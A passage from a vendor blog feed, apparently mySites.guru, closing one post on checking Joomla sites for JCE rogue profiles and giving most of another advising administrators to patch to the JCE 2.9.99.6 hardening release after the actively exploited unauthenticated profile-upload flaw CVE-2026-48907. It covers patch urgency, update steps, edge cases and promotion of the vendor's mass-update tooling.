&lt;p&gt;Or skip the manual version entirely and let the &lt;a href=&quot;#the-new-tool-check-for-jce-rogue-profiles--backdoors&quot;&gt;new check&lt;/a&gt; at the top of this post do all three steps for you on every connected site.&lt;/p&gt;
&lt;h2&gt;How quickly should you act?&lt;/h2&gt;
&lt;p&gt;Treat this as a patch-now job on any publicly reachable site running JCE, which is almost all of them. Because the profile upload flaw is unauthenticated, the usual &quot;only sites with registered users are at risk&quot; reasoning does not apply. The site we found had no meaningful public registration and was compromised anyway. And since 9 June, working exploit code has been public on GitHub, so the pool of people who can run this attack is no longer limited to whoever built the original kits.&lt;/p&gt;
&lt;p&gt;The JCE developer has now &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;confirmed the same picture publicly&lt;/a&gt;: the vulnerability is being actively exploited, the exploit code is public, and the attacks are automated. The developer&apos;s own reliable confirmation tell matches what we found in the logs: unauthenticated requests to &lt;code&gt;index.php?option=com_jce&amp;amp;task=profiles.import&lt;/code&gt;, with the earliest matching entry showing when the site was first reached. That advisory points readers here for the full technical breakdown.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch today&lt;/strong&gt; to 2.9.99.8 on every site still on a vulnerable JCE: the underlying flaw is unauthenticated and has a public exploit. The update is free and config-free for both Free and Pro, and the 2.9.99.7 fix it carries restored legitimate uploads that 2.9.99.6 could block, so there is no reason to hold back.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check the higher-risk sites&lt;/strong&gt; for the fingerprint above as a second pass: older Joomla installs, sites with a history of neglect, anything where the JCE version sat unpatched for a long stretch. For most sites the check comes up empty, which is the point. Close the chapter deliberately rather than assuming nothing happened because nothing was reported.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build, no shared codebase, and no equivalent profile-import mechanism. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this. The Joomla half needs the update and, on the older sites, the check.&lt;/p&gt;
&lt;p&gt;The underlying shape of the bug, an access control missing on a request that should have required authorisation, is a recurring one across both platforms. We dug into it in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt;, where endpoints that should check who is calling them simply do not.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the JCE developer&apos;s own advisory, confirming active exploitation and the free patch package for sites that cannot update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE Free/Pro 2.9.99.5 Security Update&lt;/a&gt; - the unauthenticated profile upload, CVE-2026-48907, that this attack exploits&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE Pro 2.9.99.6 Security Update&lt;/a&gt; - the hardening release to patch to, not just 2.9.99.5&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;JCE Free/Pro 2.9.99.4 Security Update&lt;/a&gt; - the authenticated-only file browser bugs from the same review&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find hacked files and backdoors in Joomla and WordPress&lt;/a&gt; - the suspect content scanner used to surface webshells like these&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;How to fix a hacked Joomla or WordPress site with mySites.guru&lt;/a&gt; - full recovery workflow once you find a compromise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis in mySites.guru&lt;/a&gt; - triage flagged files across a portfolio without reading obfuscated PHP by hand&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow for rolling the patch out&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE so the next advisory patches itself overnight&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking where JCE consistently sits in the top two&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/finding-every-site-running-a-vulnerable-jce.DKqJc93J.png" length="0" type="image/png"/></item><item><title>JCE Pro 2.9.99.6 Is a Hardening Release After a Full Audit of Joomla&apos;s Most-Installed Editor</title><link>https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/</guid><description>JCE Pro 2.9.99.6 follows a four-day security audit of the editor, narrowing entry points and hardening input validation. Strongly recommended for every Joomla site running JCE.</description><pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The whole story in one place:&lt;/strong&gt; our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for this attack, with the indicators of compromise and the tool that finds and fixes it across every site you manage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. If you look after a stack of Joomla sites, nearly all of them almost certainly have JCE installed.&lt;/p&gt;
&lt;p&gt;On 8 June 2026, the JCE developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-6-released&quot;&gt;released &lt;strong&gt;JCE Pro 2.9.99.6&lt;/strong&gt;&lt;/a&gt;. This one reads differently from the two releases before it. Rather than patching a single named flaw, the developer describes spending four days on &quot;a comprehensive analysis and audit of the JCE extension, narrowing entry points, and hardening input validation.&quot; It is a strongly recommended update for every site, framed as defense in depth rather than a fire drill.&lt;/p&gt;
&lt;p&gt;This is the third JCE security release in under two weeks. The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;2.9.99.4 release on 28 May&lt;/a&gt; patched two authenticated-only bugs in the file browser. The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 release on 3 June&lt;/a&gt; was the serious one: an &lt;strong&gt;unauthenticated&lt;/strong&gt; editor profile upload that could be used to upload arbitrary files to the server, tracked as CVE-2026-48907. 2.9.99.6 is the developer&apos;s follow-up to all of that, a deliberate sweep of the codebase to find and close whatever the first two fixes did not.&lt;/p&gt;
&lt;p&gt;This post covers what 2.9.99.6 actually changes, why a hardening release with no named CVE still belongs on your patch-today list, and how to find and update every JCE install across the Joomla sites you manage with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; in one batch instead of one administrator panel at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The short version&lt;/p&gt;
  &lt;p&gt;JCE 2.9.99.6 is a security hardening release following a full four-day audit of the editor. It narrows entry points and tightens input validation across JCE. There is no new named CVE, but the developer calls it strongly recommended for all sites. If you patched to 2.9.99.5 last week, update again to 2.9.99.6 now.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 29 July 2026&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;JCE 2.9.99.10&lt;/strong&gt; is now the current release, published 29 July. Its one listed security item is minor next to this one: an authenticated, privileged user could rename a file so it became hidden in the folder they were browsing. Comparing the packages shows it also hardens the upload path well beyond what the changelog admits. &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;Read the 2.9.99.10 breakdown&lt;/a&gt;, and update any site still on an earlier 2.9.99.x.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 2 July 2026&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;JCE 2.9.99.8&lt;/strong&gt; is now the current release, published 2 July. It is a maintenance update rather than a security fix: it hardens the File Browser so php, js and exe files are never listed even when a profile allows them, and fixes folder-restricted Media Fields, filenames with special characters, and dialog display problems. If you are on any earlier 2.9.99.x, update to 2.9.99.8.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 18 June 2026&lt;/p&gt;
  &lt;p&gt;2.9.99.6 was superseded by &lt;strong&gt;JCE 2.9.99.7&lt;/strong&gt;, released 18 June. Most importantly, it fixes an upload regression that 2.9.99.6 introduced: over-eager PHP-tag detection was blocking legitimate image and file uploads on some sites. If your uploads broke after updating to 2.9.99.6, 2.9.99.7 is the fix. It also adds a Permitted User Groups whitelist for profile assignment and continues the upload hardening. No new CVE. Both are now themselves superseded by 2.9.99.10, so update straight to the current release.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 10 June 2026&lt;/p&gt;
  &lt;p&gt;On 9 June, working exploit code for CVE-2026-48907, the unauthenticated file upload patched in 2.9.99.5, was published on GitHub. When this post first went out, we wrote that you were not racing a published exploit. You now are. If any site you manage is still below 2.9.99.5, treat it as a drop-everything update, and check it for &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;rogue profiles and webshells&lt;/a&gt; while you are there.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 16 June 2026&lt;/p&gt;
  &lt;p&gt;CISA, the US government&apos;s cyber security agency, has added CVE-2026-48907 to its &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/06/16/cisa-adds-one-known-exploited-vulnerability-catalog&quot; target=&quot;_blank&quot;&gt;Known Exploited Vulnerabilities catalog&lt;/a&gt; (listed as the &quot;Widget Factory Joomla Content Editor Improper Access Control Vulnerability&quot;). CISA only lists a flaw there when it has evidence of active exploitation in the wild, so this is independent confirmation of what the developer reported. The catalog carries a patch deadline for US federal agencies; that directive does not bind private organisations, but CISA recommends everyone treat KEV-listed flaws as a priority. Translation: patch now, on 2.9.99.5 or above.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE Pro 2.9.99.6&lt;/strong&gt; released 8 June 2026, the third JCE security release in under two weeks&lt;/li&gt;
&lt;li&gt;Result of a &lt;strong&gt;four-day audit&lt;/strong&gt; of the editor that narrowed entry points and hardened input validation&lt;/li&gt;
&lt;li&gt;Framed as &lt;strong&gt;defense in depth&lt;/strong&gt;, not a fix for one named flaw. No CVE assigned to this release itself&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update, 9 June:&lt;/strong&gt; working exploit code for CVE-2026-48907, the flaw patched in 2.9.99.5, is now public on GitHub. Any site below 2.9.99.5 is racing a published exploit&lt;/li&gt;
&lt;li&gt;The developer calls it a &lt;strong&gt;strongly recommended update for all sites&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Supersedes every earlier release, including last week&apos;s 2.9.99.5 (CVE-2026-48907, unauthenticated file upload) and 2.9.99.4&lt;/li&gt;
&lt;li&gt;If you already updated to 2.9.99.5, &lt;strong&gt;update again to 2.9.99.6&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin&lt;/li&gt;
&lt;li&gt;The release announcement &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-6-released&quot;&gt;recommends mySites.guru by name&lt;/a&gt; for managing updates across multiple sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For sites that cannot reach 2.9.99.6&lt;/strong&gt; (it needs PHP 7.4 and Joomla 3.10+), the developer has published a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; for JCE 2.7.x, 2.8.x and 2.9.x. JCE 2.6.x is not affected in a default config&lt;/li&gt;
&lt;li&gt;Update via the Joomla Update Manager or the &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru&apos;s mass updater&lt;/a&gt; pushes the update to every affected site at once&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What 2.9.99.6 actually is&lt;/h2&gt;
&lt;p&gt;The release announcement is short and, refreshingly, honest about what kind of update this is. In the developer&apos;s own words:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Following on from last week&apos;s emergency update, I have spent the last 4 days conducting a comprehensive analysis and audit of the JCE extension, narrowing entry points, and hardening input validation. This release is the result of that audit. It is a strongly recommended update for all sites.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There is no single security line naming one bug, the way 2.9.99.5 carried &quot;insufficient access controls permitted unauthenticated users to upload editor profiles.&quot; At the time this post goes out, the &lt;a href=&quot;https://www.joomlacontenteditor.net/support/changelog/editor&quot;&gt;editor changelog&lt;/a&gt; has not yet published a detailed 2.9.99.6 entry. So treat this as exactly what the developer describes: a proactive hardening pass, not a response to a fresh public disclosure.&lt;/p&gt;
&lt;p&gt;That distinction mattered for how you triage it, and it lasted exactly one day. 2.9.99.5 was a &quot;drop everything&quot; release because it named an unauthenticated file upload. When it landed, 2.9.99.6 read as a &quot;do it today, but you are not racing a published exploit&quot; release. Then, on 9 June, working exploit code for CVE-2026-48907 was published on GitHub. For sites already on 2.9.99.5, updating to 2.9.99.6 today is still the right pace. For any site still below 2.9.99.5, you are back to drop everything, because the flaw it patched now has a public exploit, and the fix is the same either way: go straight to 2.9.99.6.&lt;/p&gt;
&lt;h3&gt;Why a hardening release still earns a patch-today slot&lt;/h3&gt;
&lt;p&gt;It is tempting to file &quot;no CVE of its own, just hardening&quot; under &quot;next maintenance window.&quot; On most extensions, that would be a reasonable call. On JCE specifically, it is not, for three reasons.&lt;/p&gt;
&lt;p&gt;First, &lt;strong&gt;reach&lt;/strong&gt;. JCE is on more Joomla sites than any other editor. A hardening change to JCE touches a larger share of your estate than almost any other single update you will apply this month.&lt;/p&gt;
&lt;p&gt;Second, &lt;strong&gt;context&lt;/strong&gt;. This audit was triggered by a genuine unauthenticated file upload disclosed days earlier. When a developer says &quot;I went looking for more after finding that one,&quot; the sensible assumption is that the audit closed things worth closing, even if they have not been written up as individual advisories. Input validation hardening on an editor that handles file paths and uploads is not cosmetic. The same week this release landed, we found &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;that unauthenticated upload being exploited on a live Joomla site&lt;/a&gt;, and on 9 June working exploit code for it was published on GitHub for anyone to run. That is exactly the kind of real-world escalation that makes a hardening pass worth applying on every install before anyone goes looking again.&lt;/p&gt;
&lt;p&gt;Third, &lt;strong&gt;cost&lt;/strong&gt;. The update is free, config-free, and carries no functional changes for either Free or Pro. The risk of applying it is effectively zero. The only thing &quot;wait and see&quot; buys you is a longer window in which a site sits below the current security baseline of its most-installed extension.&lt;/p&gt;
&lt;h2&gt;How 2.9.99.6 fits with 2.9.99.4 and 2.9.99.5&lt;/h2&gt;
&lt;p&gt;Three releases in twelve days is unusual, and it helps to see them as one connected story rather than three separate scares.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;JCE 2.9.99.4 (28 May)&lt;/th&gt;
&lt;th&gt;JCE 2.9.99.5 (3 June)&lt;/th&gt;
&lt;th&gt;JCE 2.9.99.6 (8 June)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Two named bug fixes&lt;/td&gt;
&lt;td&gt;One named bug fix&lt;/td&gt;
&lt;td&gt;Hardening audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;td&gt;Authenticated only&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Unauthenticated&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;N/A (proactive)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;CVE-2026-48907&lt;/td&gt;
&lt;td&gt;None at time of writing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trigger&lt;/td&gt;
&lt;td&gt;External report&lt;/td&gt;
&lt;td&gt;External report&lt;/td&gt;
&lt;td&gt;Developer&apos;s own audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Urgency&lt;/td&gt;
&lt;td&gt;Patch this week&lt;/td&gt;
&lt;td&gt;Patch now&lt;/td&gt;
&lt;td&gt;Patch today&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The 2.9.99.4 release closed two authenticated-only issues in the file browser. The 2.9.99.5 release closed the serious one, an unauthenticated profile upload that could lead to arbitrary file upload. 2.9.99.6 is the developer&apos;s deliberate follow-through: having found and fixed a real unauthenticated flaw, they audited the rest of the editor to harden it before anyone else went looking. That is the response you want to see from a maintainer after an emergency fix, and it is a point in JCE&apos;s favour, not against it.&lt;/p&gt;
&lt;p&gt;If you have been tracking these releases, the practical upshot is simple. The target version moved several times in a matter of weeks. Whatever you patched to last, the current floor is now 2.9.99.10.&lt;/p&gt;
&lt;h2&gt;The JCE developer recommends mySites.guru by name&lt;/h2&gt;
&lt;p&gt;One detail in the 2.9.99.6 announcement is worth calling out, because it speaks directly to the problem this release creates for anyone running more than a couple of Joomla sites. After three updates in twelve days, the developer adds:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Update fatigue is real. If you manage multiple sites you might consider services like BackupMonkey and mySites.guru, which assist in managing and updating multiple sites.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is the JCE developer, unprompted, pointing multi-site owners at mySites.guru in the same announcement that asks everyone to update again. It is a fair point. Three releases in twelve days is exactly the scenario where logging into administrator panels one at a time stops being viable, and where a central extension inventory and a mass updater earn their keep.&lt;/p&gt;
&lt;h2&gt;How to update JCE on a single Joomla site&lt;/h2&gt;
&lt;p&gt;For one site, the update is routine. Joomla&apos;s built-in extension update tooling picks up 2.9.99.6 as soon as the JCE update server publishes it.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Check for Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select the JCE row&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the update does not appear, check that JCE&apos;s update site is enabled under &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Update Sites&lt;/strong&gt;. For JCE Pro, you also need a valid subscription key entered under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Options -&amp;gt; Subscription Key&lt;/strong&gt; for the Pro update channel to be reachable. JCE Free pulls updates from the Joomla extension feed and needs no key.&lt;/p&gt;
&lt;p&gt;After updating, hard-refresh the editor in a logged-in session to flush cached JCE assets. The version under &lt;strong&gt;Components -&amp;gt; JCE Editor&lt;/strong&gt; should read 2.9.99.6 once you reload.&lt;/p&gt;
&lt;h2&gt;How to find every Joomla site below 2.9.99.6 using mySites.guru&lt;/h2&gt;
&lt;p&gt;That is the easy case. The hard case is &quot;I look after 40 client Joomla sites, JCE just shipped its third release in two weeks, and I have lost track of which version each site is on.&quot;&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the JCE 2.9.99.6 question in seconds instead of logging into 40 administrator panels in sequence.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; in your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything below 2.9.99.6 needs the update. Sites already on 2.9.99.6, or which auto-updated overnight, are green.&lt;/p&gt;
&lt;p&gt;You can also separate JCE Free from JCE Pro if you run a mixed estate. Both editions ship the same release from the same update server, but Pro is gated by a subscription key, so it helps to know which sites sit in which group when you start chasing the stragglers, particularly the lapsed Pro subscriptions that quietly stop receiving updates.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything below 2.9.99.6 needs the patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Push 2.9.99.6 across every affected site in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are behind, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you select every site running an outdated JCE and trigger the update across all of them at once.&lt;/p&gt;
&lt;p&gt;The mass update screen groups every JCE install by the version it can update to, with an &quot;Apply to all&quot; button per group and per-site controls when you want to be selective. Sites stuck on much older branches (2.6, 2.7, 2.8) get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site&apos;s connector, pulls the 2.9.99.6 package from JCE&apos;s update server, installs it, and reports back with a pass or fail per site and a log entry against the site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;This is the workflow the JCE developer is gesturing at when they mention update fatigue. Three releases in twelve days is three full rounds of &quot;log in, check, update, verify&quot; per site by hand, or three clicks of &quot;Apply to all&quot; across the estate.&lt;/p&gt;
&lt;h3&gt;Sites with auto-updates enabled were patched overnight&lt;/h3&gt;
&lt;p&gt;This is exactly the scenario automatic extension updates exist for. The mySites.guru auto-updater pushes releases like 2.9.99.6 to opted-in Joomla sites without anyone logging in. If your sites are enrolled, the update has landed, the version is verified, and an audit entry is sitting in the activity log. If they are not, three JCE releases in two weeks is a strong argument to change that. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already covers JCE Free and JCE Pro through Joomla&apos;s native extension update API. Turn it on and the next JCE release patches itself while you sleep. &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;Enable auto-updates from your dashboard&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; if you do not have an account yet.&lt;/p&gt;
&lt;h2&gt;How quickly should you patch JCE 2.9.99.6?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Patch today&lt;/strong&gt; on every Joomla site running JCE. There is no functional change in 2.9.99.6 that would justify holding back, the update is free and config-free for both Free and Pro, and the developer has explicitly labelled it strongly recommended for all sites.&lt;/p&gt;
&lt;p&gt;When this post first went out, the line here was that you were not racing a published exploit. Since 9 June, you are: working exploit code for CVE-2026-48907 is public on GitHub, and we had already found the flaw &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;being exploited on live sites&lt;/a&gt; before that. For any site still below 2.9.99.5, this is worth dropping a meeting for. For sites already on 2.9.99.5, &quot;today&quot; remains the right window: a hardening release on your most-installed editor, shipped days after a real unauthenticated file upload was found in the same component, is not the one to leave sitting in the queue.&lt;/p&gt;
&lt;p&gt;If you run scheduled overnight automation, the cleanest answer is to let the auto-updater handle it and check the activity log in the morning. If you patch manually, do the whole estate in one batch rather than picking sites off individually.&lt;/p&gt;
&lt;h2&gt;Edge cases and gotchas&lt;/h2&gt;
&lt;p&gt;The same caveats that applied to 2.9.99.4 and 2.9.99.5 apply here, because the update mechanism is identical.&lt;/p&gt;
&lt;h3&gt;Lapsed JCE Pro subscriptions&lt;/h3&gt;
&lt;p&gt;Both editions pull updates from JCE&apos;s own update server, not the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install&apos;s subscription has lapsed, 2.9.99.6 will not appear in that site&apos;s update list and the site sits silently on an older version. After three releases in two weeks, lapsed Pro subscriptions are the most likely reason a site is still behind. Scan your mySites.guru extension report 48 hours after release for any JCE Pro install still below 2.9.99.6. Those are almost certainly the lapsed keys. The fix is to renew, or drop a temporary key into the site, pull the release, then sort the renewal afterwards.&lt;/p&gt;
&lt;h3&gt;Sites still on JCE branches older than 2.9&lt;/h3&gt;
&lt;p&gt;A JCE 2.7.x or 2.8.x install on a long-tail Joomla 3 site is far more exposed than this single release implies. 2.9.99.6 is for the current branch. Those older 2.7.x and 2.8.x lines never received the 2.9.99.5 unauthenticated file upload fix, let alone this hardening pass, and carry years of unpatched issues on top. The right answer is to bring both Joomla and JCE up to date together. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration tooling&lt;/a&gt; helps triage which sites need the most work. If a client genuinely refuses to modernise, at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until it can be brought current.&lt;/p&gt;
&lt;p&gt;JCE 2.6.x is a special case. The developer confirms it is not affected by the unauthenticated profile upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported and may carry other unpatched issues, so plan to migrate it regardless, but it does not need the same drop-everything treatment as the 2.7.x and 2.8.x lines.&lt;/p&gt;
&lt;h3&gt;For sites that cannot update: the free patch&lt;/h3&gt;
&lt;p&gt;2.9.99.6 needs PHP 7.4 and Joomla 3.10 or later. For sites that genuinely cannot meet that yet, the JCE developer has released a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes the unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. Treat it as a stopgap, not a fix: it closes the vulnerability only, without this hardening pass, it is provided as-is, and it does not clean a site that was already compromised. Back up and test on a copy first. End-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless, so the patch buys time to migrate, nothing more.&lt;/p&gt;
&lt;h3&gt;Custom Editor Profiles with broad filesystem access&lt;/h3&gt;
&lt;p&gt;If you previously set up an Editor Profile with broad filesystem access (the whole &lt;code&gt;images/&lt;/code&gt; tree, or worse), the principle of least privilege still applies after this update. A hardening release reduces the attack surface, but a profile with broad file permissions remains a high-value target for whatever the next JCE issue turns out to be. Review every profile under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Editor Profiles&lt;/strong&gt; on each site and lock each one to the narrowest path that still lets its user group work.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent release for WordPress. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this release. The Joomla half needs the update.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-6-released&quot;&gt;JCE Pro 2.9.99.6 release announcement&lt;/a&gt; - the developer&apos;s note on the audit and hardening pass&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the developer confirms active exploitation and offers a free patch for sites that cannot update&lt;/li&gt;
